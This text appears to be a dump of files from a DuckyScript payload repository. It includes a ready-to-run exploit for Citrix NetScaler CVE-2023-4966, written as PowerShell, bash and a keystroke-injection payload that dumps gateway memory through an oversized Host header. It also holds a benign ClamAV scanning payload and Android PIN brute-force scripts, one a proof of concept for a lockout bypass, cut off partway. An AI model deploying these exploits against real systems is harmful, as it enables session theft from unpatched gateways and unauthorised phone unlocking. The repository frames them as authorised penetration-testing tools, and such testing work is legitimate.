    "content": "# Exploit Citrix NetScaler ADC and Gateway through CVE-2023-4966\n\nThis payload sends an HTTP request to a remote server using the `curl` command. If the request succeeds, it means the exploit was successful. Conversely, if the request fails, it indicates that the target has resisted the attack.\n\nThis payload is a Proof of Concept (POC) based on DuckyScript and is intended for use only in authorized penetration testing. CVE-2023-4966 [[1](#sources)] has been resolved, and I have decided to release this payload only now to minimize the risk of it being used inappropriately. Please use this payload exclusively when you are fully aware of what you are doing and have obtained explicit authorization from the target.\n\n**Category**: incident-response\n\n## Index\n\n- [Exploit Citrix NetScaler ADC and Gateway through CVE-2023-4966](#exploit-citrix-netscaler-adc-and-gateway-through-cve-2023-4966)\n\t- [CVE-2023-4966](#cve-2023-4966)\n\t\t- [Summary](#summary)\n\t\t- [Impacted Products](#impacted-products)\n  - [Settings](#settings)\n\t- [DuckyScript Extensions Used](#duckyScript-extensions-used)\n\t- [Payload Description Windows](#payload-description-windows)\n\t- [Payload Description Linux](#payload-description-linux)\n  - [Script.sh](#script-sh)\n\t- [Sources](#sources)\n\t- [Credits](#credits)\n\n## CVE-2023-4966\n\nMultiple vulnerabilities have been discovered in NetScaler ADC (formerly Citrix ADC) and NetScaler Gateway (formerly Citrix Gateway).\n\n### Summary\n\nNetScaler ADC and NetScaler Gateway contain unauthenticated buffer-related vulnerabilities mentioned below \n\n### Impacted Products\n\nThe following supported versions of NetScaler ADC and NetScaler Gateway are affected by the vulnerabilities: \n\n    - NetScaler ADC and NetScaler Gateway 14.1 before 14.1-8.50\n    - NetScaler ADC and NetScaler Gateway 13.1 before 13.1-49.15\n    - NetScaler ADC and NetScaler Gateway 13.0 before 13.0-92.19\n    - NetScaler ADC 13.1-FIPS before 13.1-37.164\n    - NetScaler ADC 12.1-FIPS before 12.1-55.300\n    - NetScaler ADC 12.1-NDcPP before 12.1-55.300\n\n***Note**: NetScaler ADC and NetScaler Gateway version 12.1 is now End-of-Life (EOL) and is vulnerable.*\n\nThis bulletin only applies to customer-managed NetScaler ADC and NetScaler Gateway products. Customers using Citrix-managed cloud services or Citrix-managed Adaptive Authentication do not need to take any action.\n\n![](./assets/1.png)\n\n***Source**: The information was acquired from the official website of [support.citrix.com](#sources).*\n\n## Settings\n\nThe sole configuration parameter that requires modification is the hostname, which represents the IP address (without protocol) of the target Citrix ADC / Gateway machine, such as 192.168.1.200. To configure this setting, you need to edit the \"payload.txt\" file to specify the desired address.\n\n```DuckyScript\nDEFINE #HOSTNAME 192.168.1.200\n```\n\n## DuckyScript Extensions Used\n\n- **PASSIVE_WINDOWS_DETECT**: Extension used to check which operating system you are operating on so that you have a valid tool for both Windows and different systems, for instance GNU/Linux systems. [[3](#sources)]\n\n## Payload Description Windows\n\nIn this line, a variable named `$header_value` is created, containing a string of 24576 'a' characters. This variable represents the value to be used in the HTTP header.\n\n```powershell\n$header_value = 'a' * 24576\n```\n\nHere, all newline characters (\"\\n\") are removed from the string stored in `$header_value`. This is done to ensure that the string doesn't contain any line break characters.\n\n```powershell\n$header_value = $header_value -replace \"\\n\", \"\"\n```\n\nA variable `$headers` is created, which holds an HTTP header formatted as a string. This header will be used in the subsequent HTTP request.\n\n```powershell\n$headers = \"-H 'Host:$header_value'\"\n```\n\nHere, a variable `$headers` is created as a hashtable containing the HTTP header. In this case, only the \"Host\" header is used, with the value from `$header_value`.\n\n```powershell\n$headers = @{ 'Host' = $header_value }\n```\n\nThis line defines the variable `$uri`, which contains the target URL for the HTTP request. Note that \"#HOSTNAME\" is a DuckyScript variable that should be replaced with the actual value before executing the script (see the [Settings](#settings) section).\n\n```powershell\n$uri = \"https://#HOSTNAME/oauth/idp/.well-known/openid-configuration\"\n```\n\nHere, the HTTP request to the specified URL is executed using the GET method and with the headers defined in the `$headers` variable. The result of the request is stored in the `$response` variable.\n\n```powershell\n$response = Invoke-RestMethod -Uri $uri -Headers $headers -Method GET -TimeoutSec 10\n```\n\nThis `if` statement checks if the first three characters of the HTTP response in the `$response` variable are equal to \"200,\" indicating a successful HTTP response.\n\n```powershell\nif ($response.Substring(0, 3) -eq \"200\")\n```\n\nIf the preceding condition is true, some messages are printed to indicate the beginning of the output.\n\n```powershell\nWrite-Host \"--- Dumped memory ---\"\n$response.Substring(131050)\nWrite-Host \"The #HOSTNAME is vulnerable!\"\nWrite-Host \"--- End ---\"\n```\n\nIf the initial condition of the `if` statement is not met, a message is printed, indicating that the machine is not vulnerable.\n\n```powershell\nWrite-Host \"Could not dump memory\"\n```\n\n## Payload Description Linux\n\nThis line sets the `header_value` variable to a string containing 24,576 'a' characters. It uses the `yes` command to repeatedly output 'a' and `head` to limit it to 24,576 lines. The `tr` command is used to remove any newline characters, resulting in a long string of 'a's.\n\n```bash\nheader_value=$(yes a | head -n 24576 | tr -d '\\n')\n```\n\nHere, the `headers` variable is constructed with the `-H` option for the cURL command. It sets the 'Host' header to the previously generated `header_value`.\n\n```bash\nheaders=\"-H 'Host:$header_value'\"\n```\nThis line uses cURL to send a request to the specified URL with the constructed `headers`. The `-s` flag suppresses progress meter and error messages, while the `-k` flag allows cURL to perform an insecure SSL connection. The `--connect-timeout 10` flag sets a connection timeout of 10 seconds. The response is stored in the `response` variable.\n\n```bash\nresponse=$(curl -s -k -H \"$headers\" \"https://$hostname/oauth/idp/.well-known/openid-configuration\" --connect-timeout 10)\n```\n\nIn this block, it checks if the exit status of the cURL command is 0 (indicating a successful request) and if the first three characters of the response are \"200\" (HTTP success code). If both conditions are met, it prints `--- Dumped memory ---`, followed by a portion of the response starting from character 131,051, and then indicates that the hostname is vulnerable. If the conditions are not met, it prints `Could not dump memory`.\n\n```bash\nif [ $? -eq 0 ] && [ \"$(echo $response | cut -c 1-3)\" == \"200\" ]; then\n    echo \"--- Dumped memory ---\"\n    echo \"$response\" | cut -c 131051-\n    echo \"The #HOSTNAME is vulnerable!\"\n    echo \"---      End      ---\"\nelse\n    echo \"Could not dump memory\"\nfi\n```\n\n## Script sh\n\nThe script.sh script accepts one parameter, which should be the target hostname without the application of a protocol (e.g., `192.168.1.200`). It uses this parameter to perform a specific action in the exploit.\n\nExample Execution:\n\n```shell\n./script.sh 192.168.1.200\n```\n\nBefore running the script, you might need to grant execute permissions to the file, as mentioned. You can do this with the following command:\n\n```shell\nsudo chmod +x script.sh\n```\n\nAfter assigning execute permissions, the above command allows the user to run the script without having to specify the sh command before the script's name.\n\n## Sources\n\n- [1] Official source of information acquisition: https://support.citrix.com/article/CTX579459/netscaler-adc-and-netscaler-gateway-security-bulletin-for-cve20234966-and-cve20234967\n- [2] ..\n- [3] Passive Windows Detect: https://github.com/hak5/usbrubberducky-payloads/blob/master/payloads/extensions/passive_windows_detect.txt\n- [4] Red Hot Cyber post: https://www.redhotcyber.com/post/e-pubblico-lexploit-per-il-bug-critico-di-citrix-netscaler-adc-e-gateway-scopriamo-come-funziona/\n\n## Credits\n\n<h2 align=\"center\"> Aleff</h2>\n<div align=center>\n<table>\n  <tr>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://github.com/aleff-github\">\n        <img src=https://github.com/aleff-github/aleff-github/blob/main/img/github.png?raw=true width=\"48\" height=\"48\" />\n      </a>\n      <br>Github\n    </td>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://www.linkedin.com/in/alessandro-greco-aka-aleff/\">\n        <img src=https://github.com/aleff-github/aleff-github/blob/main/img/linkedin.png?raw=true width=\"48\" height=\"48\" />\n      </a>\n      <br>Linkedin\n    </td>\n  </tr>\n</table>\n</div>"
  },
  {
    "path": "payloads/library/incident_response/Exploit_Citrix_NetScaler_ADC_and_Gateway_through_CVE-2023-4966/payload.txt",
    "content": "REM ################################################################################\nREM #                                                                              #\nREM # Title     : Exploit Citrix NetScaler ADC and Gateway through CVE-2023-4966   #\nREM # Author\t: Aleff                                                            #\nREM # Version\t: 1.0                                                              #\nREM # Category\t: incident-response                                                #\nREM # Target\t: Citrix NetScaler ADV; NetScaler Gateway                          #\nREM #                                                                              #\nREM ################################################################################\n\nREM Define here your target, so put here the Citrix ADC / Gateway target, excluding the protocol (e.g. 192.168.1.200)\nDEFINE #HOSTNAME example\n\nREM Detect what in what OS is running the payload\nEXTENSION PASSIVE_WINDOWS_DETECT\n    REM VERSION 1.1\n    REM AUTHOR: Korben\n\n    REM_BLOCK DOCUMENTATION\n        Windows fully passive OS Detection and passive Detect Ready\n        Includes its own passive detect ready.\n        Does not require additional extensions.\n\n        USAGE:\n            Extension runs inline (here)\n            Place at beginning of payload (besides ATTACKMODE) to act as dynamic\n            boot delay\n            $_OS will be set to WINDOWS or NOT_WINDOWS\n            See end of payload for usage within payload\n    END_REM\n\n    REM CONFIGURATION:\n    DEFINE #MAX_WAIT 150\n    DEFINE #CHECK_INTERVAL 20\n    DEFINE #WINDOWS_HOST_REQUEST_COUNT 2\n    DEFINE #NOT_WINDOWS 7\n\n    $_OS = #NOT_WINDOWS\n\n    VAR $MAX_TRIES = #MAX_WAIT\n    WHILE(($_RECEIVED_HOST_LOCK_LED_REPLY == FALSE) && ($MAX_TRIES > 0))\n        DELAY #CHECK_INTERVAL\n        $MAX_TRIES = ($MAX_TRIES - 1)\n    END_WHILE\n    IF ($_HOST_CONFIGURATION_REQUEST_COUNT > #WINDOWS_HOST_REQUEST_COUNT) THEN\n        $_OS = WINDOWS\n    END_IF\nEND_EXTENSION\n\n\nREM Payload content\nIF ($_OS == WINDOWS) THEN\n\n    REM Open a powershell\n    GUI r\n    DELAY 500\n    STRING powershell\n    ENTER\n    DELAY 1000\n\n    STRINGLN\n        $header_value = 'a' * 24576\n        $header_value = $header_value -replace \"\\n\", \"\"\n\n        $headers=\"-H 'Host:$header_value'\"\n\n        $headers = @{\n            'Host' = $header_value\n        }\n        $uri = \"https://#HOSTNAME/oauth/idp/.well-known/openid-configuration\"\n        $response = Invoke-RestMethod -Uri $uri -Headers $headers -Method GET -TimeoutSec 10\n\n        if ($response.Substring(0, 3) -eq \"200\") {\n            Write-Host \"--- Dumped memory ---\"\n            $response.Substring(131050)  # 131051 - 1\n            Write-Host \"The #HOSTNAME is vulnerable!\"\n            Write-Host \"---      End      ---\"\n        } else {\n            Write-Host \"Could not dump memory\"\n        }\n    END_STRINGLN\nELSE\n    CTRL-ALT t\n    DELAY 1000\n\n    STRINGLN\n        header_value=$(yes a | head -n 24576 | tr -d '\\n')\n\n        headers=\"-H 'Host:$header_value'\"\n\n        response=$(curl -s -k -H \"$headers\" \"https://#HOSTNAME/oauth/idp/.well-known/openid-configuration\" --connect-timeout 10)\n\n        if [ $? -eq 0 ] && [ \"$(echo $response | cut -c 1-3)\" == \"200\" ]; then\n            echo \"--- Dumped memory ---\"\n            echo \"$response\" | cut -c 131051-\n            echo \"The #HOSTNAME is vulnerable!\"\n            echo \"---      End      ---\"\n        else\n            echo \"Could not dump memory\"\n        fi\n    END_STRINGLN\nEND_IF"
  },
  {
    "path": "payloads/library/incident_response/Exploit_Citrix_NetScaler_ADC_and_Gateway_through_CVE-2023-4966/script.sh",
    "content": "#!/bin/bash\n\nhostname=\"$1\" # first parameter\n\nheader_value=$(yes a | head -n 24576 | tr -d '\\n')\n\nheaders=\"-H 'Host:$header_value'\"\n\nresponse=$(curl -s -k -H \"$headers\" \"https://$hostname/oauth/idp/.well-known/openid-configuration\" --connect-timeout 10)\n\nif [ $? -eq 0 ] && [ \"$(echo $response | cut -c 1-3)\" == \"200\" ]; then\n\techo \"--- Dumped memory ---\"\n\techo \"$response\" | cut -c 131051-\n\techo \"---      End      ---\"\nelse\n\techo \"Could not dump memory\"\nfi\n"
  },
  {
    "path": "payloads/library/incident_response/GoodUSB/payload.txt",
    "content": "GUI r\r\nDELAY 1000\r\nSTRING notepad.exe\r\nENTER\r\nDELAY 1000\r\nSTRING Greetings!\r\nENTER\r\nSTRING You've just launched GoodUSB!\r\nENTER\r\nENTER\r\nSTRING This script will take the following actions:\r\nENTER\r\nSTRING 1) Download ClamAV\r\nENTER\r\nSTRING 2) Update ClamAV to the latest malware definitions.\r\nENTER\r\nSTRING 3) Scan your system memory for any malicious processes.\r\nENTER\r\nSTRING 4) If any are found, TERMINATE THEM!\r\nENTER\r\nENTER\r\nSTRING This process may take a very long time, about 30 minutes to an hour.\r\nENTER\r\nSTRING You can abort now by unplugging this device.\r\nENTER\r\nSTRING Otherwise, the process will begin in 5...\r\nDELAY 3000\r\nSTRING 4...\r\nDELAY 3000\r\nSTRING 3...\r\nDELAY 3000\r\nSTRING 2...\r\nDELAY 3000\r\nSTRING 1...\r\nDELAY 3000\r\nSTRING 0\r\nENTER\r\nSTRING Away we go!\r\nDELAY 2000\r\nALT F4\r\nDELAY 1000\r\nALT N\r\nGUI r\r\nDELAY 1000\r\nSTRING powershell.exe\r\nENTER\r\nDELAY 1000\r\nSTRING Start-Process powershell -Verb runAs ; exit\r\nENTER\r\nDELAY 4000\r\nLEFT\r\nENTER\r\nDELAY 4000\r\nSTRING mkdir $env:USERPROFILE\\AppData\\Local\\Temp ; cd $env:USERPROFILE\\AppData\\Local\\Temp ; Invoke-WebRequest -Uri https://www.clamav.net/downloads/production/clamav-1.3.0.win.x64.zip -OutFile clam.zip ; Expand-Archive -Force clam.zip ; del clam.zip ; cd clam\\* ; mv .\\conf_examples\\freshclam.conf.sample freshclam.conf ; mv .\\conf_examples\\clamd.conf.sample clamd.conf ; Set-Content -Path \"freshclam.conf\" -Value (get-content -Path \"freshclam.conf\" | Select-String -Pattern 'Example' -NotMatch) ; Set-Content -Path \"clamd.conf\" -Value (get-content -Path \"clamd.conf\" | Select-String -Pattern 'Example' -NotMatch) ; Start-Process -Wait .\\freshclam.exe ; Start-Process -NoNewWindow -Wait .\\clamscan.exe \"--memory --kill\" ; cd $env:USERPROFILE\\AppData\\Local\\Temp ; rmdir -R clam\r\nENTER\r\n"
  },
  {
    "path": "payloads/library/incident_response/placeholder",
    "content": ""
  },
  {
    "path": "payloads/library/mobile/Android/Android_HID_BruteForceCode/BruteForce4.txt",
    "content": "ATTACKMODE HID\r\nREM TITLE: Brute Force \r\nREM AUTHOR: Cribbit\r\nREM DESCRIPTION: Updated Version of Hak5 episode 1217.1\r\nREM VID URL: https://www.youtube.com/watch?v=yoYiEkk5TyI\r\nREM NOTE: This is 10 year old so will not work with modern android\r\nREM PROPS: Hak5Darren\r\nDELAY 3000\r\n\r\nEXTENSION TRANSLATE\r\n    REM VERSION 1.0\r\n\r\n    REM This extension acts as a library or collection of helper functions\r\n    REM to work with converting variables in your payloads.\r\n    REM WHY:\r\n    REM Of the many ways to get information about the state of your payload \r\n    REM is by injecting static strings effectively as debugging prints\r\n    REM However, given the non-static nature of payloads using variables in\r\n    REM DuckyScript 3.0 - the ability to decode variables during payload \r\n    REM execution and print (inject) representations of their current state \r\n    REM can often be a critically helpful development and debugging tool.\r\n\r\n    REM Available Functions:\r\n    REM TRANSLATE_INT() - var to decimal string - set $INPUT prior to call\r\n    REM TRANSLATE_HEX() - var to hexidecimal string - set $INPUT prior to call\r\n    REM TRANSLATE_BINARY() - var to binary string - set $INPUT prior to call\r\n    REM TRANSLATE_BOOL() - var to boolean string - set $INPUT prior to call\r\n\r\n    REM USAGE:\r\n    REM set $INPUT to desired var\r\n    REM call the correct translate_ function for the expected data type e.g.\r\n    REM    VAR $myVar = 1234\r\n    REM    $INPUT = $myVar\r\n    REM    TRANSLATE_INT()\r\n    REM    REM the above code will inject 1234\r\n\r\n    REM begin extension variables\r\n    DEFINE PRINT_INT 0\r\n    DEFINE PRINT_HEX 1\r\n    VAR $DIGIT_PRINT_MODE = PRINT_INT\r\n    VAR $D = 0\r\n    VAR $IN = 0\r\n    VAR $INPUT = 0\r\n    VAR $MOD = 0\r\n    VAR $P = FALSE\r\n    VAR $NL = TRUE\r\n    REM end extension variables\r\n\r\n    REM REQUIRED for INT/HEX - convert int to char\r\n    FUNCTION PRINTDIGIT()\r\n        IF ($D == 0) THEN\r\n            STRING 0\r\n        ELSE IF ($D == 1) THEN\r\n            STRING 1\r\n        ELSE IF ($D == 2) THEN\r\n            STRING 2\r\n        ELSE IF ($D == 3) THEN\r\n            STRING 3\r\n        ELSE IF ($D == 4) THEN\r\n            STRING 4\r\n        ELSE IF ($D == 5) THEN\r\n            STRING 5\r\n        ELSE IF ($D == 6) THEN\r\n            STRING 6\r\n        ELSE IF ($D == 7) THEN\r\n            STRING 7\r\n        ELSE IF ($D == 8) THEN\r\n            STRING 8\r\n        ELSE IF ($D == 9) THEN\r\n            STRING 9\r\n        ELSE IF ($DIGIT_PRINT_MODE == PRINT_HEX) THEN\r\n            IF ($D == 10) THEN\r\n                STRING A\r\n            ELSE IF ($D == 11) THEN\r\n                STRING B\r\n            ELSE IF ($D == 12) THEN\r\n                STRING C\r\n            ELSE IF ($D == 13) THEN\r\n                STRING D\r\n            ELSE IF ($D == 14) THEN\r\n                STRING E\r\n            ELSE IF ($D == 15) THEN\r\n                STRING F\r\n            END_IF\r\n        ELSE\r\n            STRING ?\r\n        END_IF\r\n    END_FUNCTION\r\n\r\n    REM REQUIRED for INT/HEX- consumes a character / place from the input\r\n    FUNCTION CONSUME()\r\n        $D = 0\r\n        WHILE ($INPUT >= $MOD)\r\n            $D = ($D + 1)\r\n            $INPUT = ($INPUT - $MOD)\r\n        END_WHILE\r\n        IF (($D > 0) || ($P == TRUE)) THEN\r\n            $P = TRUE\r\n            PRINTDIGIT()\r\n        END_IF\r\n    END_FUNCTION\r\n\r\n    REM ENDIAN SWAPPER helper, (useful for working with VID/PID)\r\n    FUNCTION SWAP_ENDIAN()\r\n        $INPUT = ((($INPUT >> 8) & 0x00FF) | (($INPUT << 8) & 0xFF00))\r\n    END_FUNCTION\r\n\r\n    REM Translates a variable of presumed integer type and attempts to convert\r\n    REM and inject a DECIMAL string representation\r\n    FUNCTION TRANSLATE_INT() \r\n        $DIGIT_PRINT_MODE = PRINT_INT\r\n        $P = FALSE\r\n        IF ( $INPUT >= 10000) THEN\r\n            $MOD = 10000\r\n            CONSUME()\r\n        END_IF\r\n        IF (($INPUT >= 1000) || ($P == TRUE)) THEN\r\n            $MOD = 1000\r\n            CONSUME()\r\n        END_IF\r\n        IF (($INPUT >= 100) || ($P == TRUE)) THEN\r\n            $MOD = 100\r\n            CONSUME()\r\n        END_IF\r\n        IF (($INPUT >= 10) || ($P == TRUE)) THEN\r\n            $MOD = 10\r\n            CONSUME()\r\n        END_IF()\r\n        $D = $INPUT\r\n        PRINTDIGIT()\r\n        IF $NL THEN\r\n            ENTER\r\n        END_IF\r\n    END_FUNCTION\r\n\r\n    REM Translates a variable of presumed boolean type and attempts to convert\r\n    REM and inject a BOOLEAN string representation\r\n    FUNCTION TRANSLATE_BOOL()\r\n        IF $INPUT THEN\r\n            STRING TRUE\r\n        ELSE\r\n            STRING FALSE\r\n        END_IF\r\n        IF $NL THEN\r\n            ENTER\r\n        END_IF\r\n    END_FUNCTION\r\n\r\n    REM Translates a variable of presumed integer type and attempts to convert\r\n    REM and inject a HEX string representation\r\n    FUNCTION TRANSLATE_HEX()\r\n        $DIGIT_PRINT_MODE = PRINT_HEX\r\n        VAR $chars = 0\r\n        VAR $d1 = 0\r\n        VAR $d2 = 0\r\n        VAR $d3 = 0\r\n        VAR $d4 = 0\r\n        WHILE ($INPUT > 0)\r\n            IF ($chars == 0) THEN\r\n                $d1 = ($INPUT % 16)\r\n            ELSE IF ($chars == 1) THEN\r\n                $d2 = ($INPUT % 16)\r\n            ELSE IF ($chars == 2) THEN\r\n                $d3 = ($INPUT % 16)\r\n            ELSE IF ($chars == 3) THEN\r\n                $d4 = ($INPUT % 16)\r\n            END_IF\r\n            $chars = ($chars + 1)\r\n            $INPUT = ($INPUT / 16)\r\n        END_WHILE\r\n        VAR $i = 0\r\n        STRING 0x\r\n        IF ($chars == 0) THEN\r\n            STRING 0x0000\r\n        ELSE IF ($chars == 1) THEN\r\n            STRING 000\r\n            $D = $d1\r\n            PRINTDIGIT()\r\n        ELSE IF ($chars == 2) THEN\r\n            STRING 00\r\n            $D = $d2\r\n            PRINTDIGIT()\r\n            $D = $d1\r\n            PRINTDIGIT()\r\n        ELSE IF ($chars == 3) THEN\r\n            STRING 0\r\n            $D = $d3\r\n            PRINTDIGIT()\r\n            $D = $d2\r\n            PRINTDIGIT()\r\n            $D = $d1\r\n            PRINTDIGIT()\r\n        ELSE IF ($chars == 4) THEN\r\n            STRING 0\r\n            $D = $d4\r\n            PRINTDIGIT()\r\n            $D = $d3\r\n            PRINTDIGIT()\r\n            $D = $d2\r\n            PRINTDIGIT()\r\n            $D = $d1\r\n            PRINTDIGIT()\r\n        END_IF\r\n        IF $NL THEN\r\n            ENTER\r\n        END_IF\r\n    END_FUNCTION\r\n\r\n    REM Translates a variable of presumed integer type and attempts to convert\r\n    REM and inject a BINARY string representation\r\n    FUNCTION TRANSLATE_BINARY()\r\n        VAR $I = 16\r\n        WHILE ( $I > 0 )\r\n            $I = ($I - 1)\r\n            IF (($INPUT & 0x8000) == 0 ) THEN\r\n                STRING 0\r\n            ELSE\r\n                STRING 1\r\n            END_IF\r\n            $INPUT = ($INPUT << 1)\r\n        END_WHILE\r\n        IF $NL THEN\r\n            ENTER\r\n        END_IF\r\n    END_FUNCTION\r\nEND_EXTENSION\r\n\r\nREM Turn off TRANSLATE newline\r\n$NL = FALSE\r\nVAR $Frist = 0\r\nVAR $Second = 0\r\nVAR $Third = 0\r\nVAR $Forth = 0\r\nVAR $WaitTime = 30000\r\nVAR $WaitStep = 5000\r\nVAR $WaitDiff = 0\r\nVAR $Cnt = 0\r\n\r\nWHILE ($Frist < 10)\r\n    $Second = 0\r\n    WHILE ($Second < 10)\r\n        $Third = 0\r\n        WHILE ($Third < 10)\r\n            $Forth = 0\r\n            WHILE ($Forth < 10)\r\n                $INPUT = $Frist\r\n                TRANSLATE_INT()\r\n                $INPUT = $Second\r\n                TRANSLATE_INT()\r\n                $INPUT = $Third\r\n                TRANSLATE_INT()\r\n                $INPUT = $Forth\r\n                TRANSLATE_INT()\r\n                $Forth = ($Forth + 1)\r\n                DELAY 1000\r\n                ENTER\r\n                ENTER\r\n                $Cnt = ($Cnt + 1)\r\n                IF ($Cnt == 5) THEN\r\n                    $Cnt = 0\r\n                    WHILE ($WaitDiff < $WaitTime)\r\n                        DELAY $WaitStep\r\n                        ENTER\r\n                        $WaitDiff = ($WaitDiff + $WaitStep)\r\n                    END_WHILE\r\n                    $WaitDiff = 0\r\n                END_IF\r\n            END_WHILE\r\n            $Third = ($Third + 1)\r\n        END_WHILE\r\n        $Second = ($Second + 1)\r\n    END_WHILE\r\n    $Frist = ($Frist + 1)\r\nEND_WHILE\r\n"
  },
  {
    "path": "payloads/library/mobile/Android/Android_HID_BruteForceCode/BruteForce4Backspace.txt",
    "content": "ATTACKMODE HID\r\nREM TITLE: Brute Force \r\nREM AUTHOR: Cribbit\r\nREM DESCRIPTION: POC of CVE-2017-10709 using a Ducky. The lockscreen on Elephone P9000 devices (running Android 6.0) allows physically proximate attackers to bypass a wrong-PIN lockout feature by pressing backspace after each PIN guess.\r\nREM PROPS: Kalani & Shinichi Kudo\r\nDELAY 3000\r\n\r\nEXTENSION TRANSLATE\r\n    REM VERSION 1.0\r\n\r\n    REM This extension acts as a library or collection of helper functions\r\n    REM to work with converting variables in your payloads.\r\n    REM WHY:\r\n    REM Of the many ways to get information about the state of your payload \r\n    REM is by injecting static strings effectively as debugging prints\r\n    REM However, given the non-static nature of payloads using variables in\r\n    REM DuckyScript 3.0 - the ability to decode variables during payload \r\n    REM execution and print (inject) representations of their current state \r\n    REM can often be a critically helpful development and debugging tool.\r\n\r\n    REM Available Functions:\r\n    REM TRANSLATE_INT() - var to decimal string - set $INPUT prior to call\r\n    REM TRANSLATE_HEX() - var to hexidecimal string - set $INPUT prior to call\r\n    REM TRANSLATE_BINARY() - var to binary string - set $INPUT prior to call\r\n    REM TRANSLATE_BOOL() - var to boolean string - set $INPUT prior to call\r\n\r\n    REM USAGE:\r\n    REM set $INPUT to desired var\r\n    REM call the correct translate_ function for the expected data type e.g.\r\n    REM    VAR $myVar = 1234\r\n    REM    $INPUT = $myVar\r\n    REM    TRANSLATE_INT()\r\n    REM    REM the above code will inject 1234\r\n\r\n    REM begin extension variables\r\n    DEFINE PRINT_INT 0\r\n    DEFINE PRINT_HEX 1\r\n    VAR $DIGIT_PRINT_MODE = PRINT_INT\r\n    VAR $D = 0\r\n    VAR $IN = 0\r\n    VAR $INPUT = 0\r\n    VAR $MOD = 0\r\n    VAR $P = FALSE\r\n    VAR $NL = TRUE\r\n    REM end extension variables\r\n\r\n    REM REQUIRED for INT/HEX - convert int to char\r\n    FUNCTION PRINTDIGIT()\r\n        IF ($D == 0) THEN\r\n            STRING 0\r\n        ELSE IF ($D == 1) THEN\r\n            STRING 1\r\n        ELSE IF ($D == 2) THEN\r\n            STRING 2\r\n        ELSE IF ($D == 3) THEN\r\n            STRING 3\r\n        ELSE IF ($D == 4) THEN\r\n            STRING 4\r\n        ELSE IF ($D == 5) THEN\r\n            STRING 5\r\n        ELSE IF ($D == 6) THEN\r\n            STRING 6\r\n        ELSE IF ($D == 7) THEN\r\n            STRING 7\r\n        ELSE IF ($D == 8) THEN\r\n            STRING 8\r\n        ELSE IF ($D == 9) THEN\r\n            STRING 9\r\n        ELSE IF ($DIGIT_PRINT_MODE == PRINT_HEX) THEN\r\n            IF ($D == 10) THEN\r\n                STRING A\r\n            ELSE IF ($D == 11) THEN\r\n                STRING B\r\n            ELSE IF ($D == 12) THEN\r\n                STRING C\r\n            ELSE IF ($D == 13) THEN\r\n                STRING D\r\n            ELSE IF ($D == 14) THEN\r\n                STRING E\r\n            ELSE IF ($D == 15) THEN\r\n                STRING F\r\n            END_IF\r\n        ELSE\r\n            STRING ?\r\n        END_IF\r\n    END_FUNCTION\r\n\r\n    REM REQUIRED for INT/HEX- consumes a character / place from the input\r\n    FUNCTION CONSUME()\r\n        $D = 0\r\n        WHILE ($INPUT >= $MOD)\r\n            $D = ($D + 1)\r\n            $INPUT = ($INPUT - $MOD)\r\n        END_WHILE\r\n        IF (($D > 0) || ($P == TRUE)) THEN\r\n            $P = TRUE\r\n            PRINTDIGIT()\r\n        END_IF\r\n    END_FUNCTION\r\n\r\n    REM ENDIAN SWAPPER helper, (useful for working with VID/PID)\r\n    FUNCTION SWAP_ENDIAN()\r\n        $INPUT = ((($INPUT >> 8) & 0x00FF) | (($INPUT << 8) & 0xFF00))\r\n    END_FUNCTION\r\n\r\n    REM Translates a variable of presumed integer type and attempts to convert\r\n    REM and inject a DECIMAL string representation\r\n    FUNCTION TRANSLATE_INT() \r\n        $DIGIT_PRINT_MODE = PRINT_INT\r\n        $P = FALSE\r\n        IF ( $INPUT >= 10000) THEN\r\n            $MOD = 10000\r\n            CONSUME()\r\n        END_IF\r\n        IF (($INPUT >= 1000) || ($P == TRUE)) THEN\r\n            $MOD = 1000\r\n            CONSUME()\r\n        END_IF\r\n        IF (($INPUT >= 100) || ($P == TRUE)) THEN\r\n            $MOD = 100\r\n            CONSUME()\r\n        END_IF\r\n        IF (($INPUT >= 10) || ($P == TRUE)) THEN\r\n            $MOD = 10\r\n            CONSUME()\r\n        END_IF()\r\n        $D = $INPUT\r\n        PRINTDIGIT()\r\n        IF $NL THEN\r\n            ENTER\r\n        END_IF\r\n    END_FUNCTION\r\n\r\n    REM Translates a variable of presumed boolean type and attempts to convert\r\n    REM and inject a BOOLEAN string representation\r\n    FUNCTION TRANSLATE_BOOL()\r\n        IF $INPUT THEN\r\n            STRING TRUE\r\n        ELSE\r\n            STRING FALSE\r\n        END_IF\r\n        IF $NL THEN\r\n            ENTER\r\n        END_IF\r\n    END_FUNCTION\r\n\r\n    REM Translates a variable of presumed integer type and attempts to convert\r\n    REM and inject a HEX string representation\r\n    FUNCTION TRANSLATE_HEX()\r\n        $DIGIT_PRINT_MODE = PRINT_HEX\r\n        VAR $chars = 0\r\n        VAR $d1 = 0\r\n        VAR $d2 = 0\r\n        VAR $d3 = 0\r\n        VAR $d4 = 0\r\n        WHILE ($INPUT > 0)\r\n            IF ($chars == 0) THEN\r\n                $d1 = ($INPUT % 16)\r\n            ELSE IF ($chars == 1) THEN\r\n                $d2 = ($INPUT % 16)\r\n            ELSE IF ($chars == 2) THEN\r\n                $d3 = ($INPUT % 16)\r\n            ELSE IF ($chars == 3) THEN\r\n                $d4 = ($INPUT % 16)\r\n            END_IF\r\n            $chars = ($chars + 1)\r\n            $INPUT = ($INPUT / 16)\r\n        END_WHILE\r\n        VAR $i = 0\r\n        STRING 0x\r\n        IF ($chars == 0) THEN\r\n            STRING 0x0000\r\n        ELSE IF ($chars == 1) THEN\r\n            STRING 000\r\n            $D = $d1\r\n            PRINTDIGIT()\r\n        ELSE IF ($chars == 2) THEN\r\n            STRING 00\r\n            $D = $d2\r\n            PRINTDIGIT()\r\n            $D = $d1\r\n            PRINTDIGIT()\r\n        ELSE IF ($chars == 3) THEN\r\n            STRING 0\r\n            $D = $d3\r\n            PRINTDIGIT()\r\n            $D = $d2\r\n            PRINTDIGIT()\r\n            $D = $d1\r\n            PRINTDIGIT()\r\n        ELSE IF ($chars == 4) THEN\r\n            STRING 0\r\n            $D = $d4\r\n            PRINTDIGIT()\r\n            $D = $d3\r\n            PRINTDIGIT()\r\n            $D = $d2\r\n            PRINTDIGIT()\r\n            $D = $d1\r\n            PRINTDIGIT()\r\n        END_IF\r\n        IF $NL THEN\r\n            ENTER\r\n        END_IF\r\n    END_FUNCTION\r\n\r\n    REM Translates a variable of presumed integer type and attempts to convert\r\n    REM and inject a BINARY string representation\r\n    FUNCTION TRANSLATE_BINARY()\r\n        VAR $I = 16\r\n        WHILE ( $I > 0 )\r\n            $I = ($I - 1)\r\n            IF (($INPUT & 0x8000) == 0 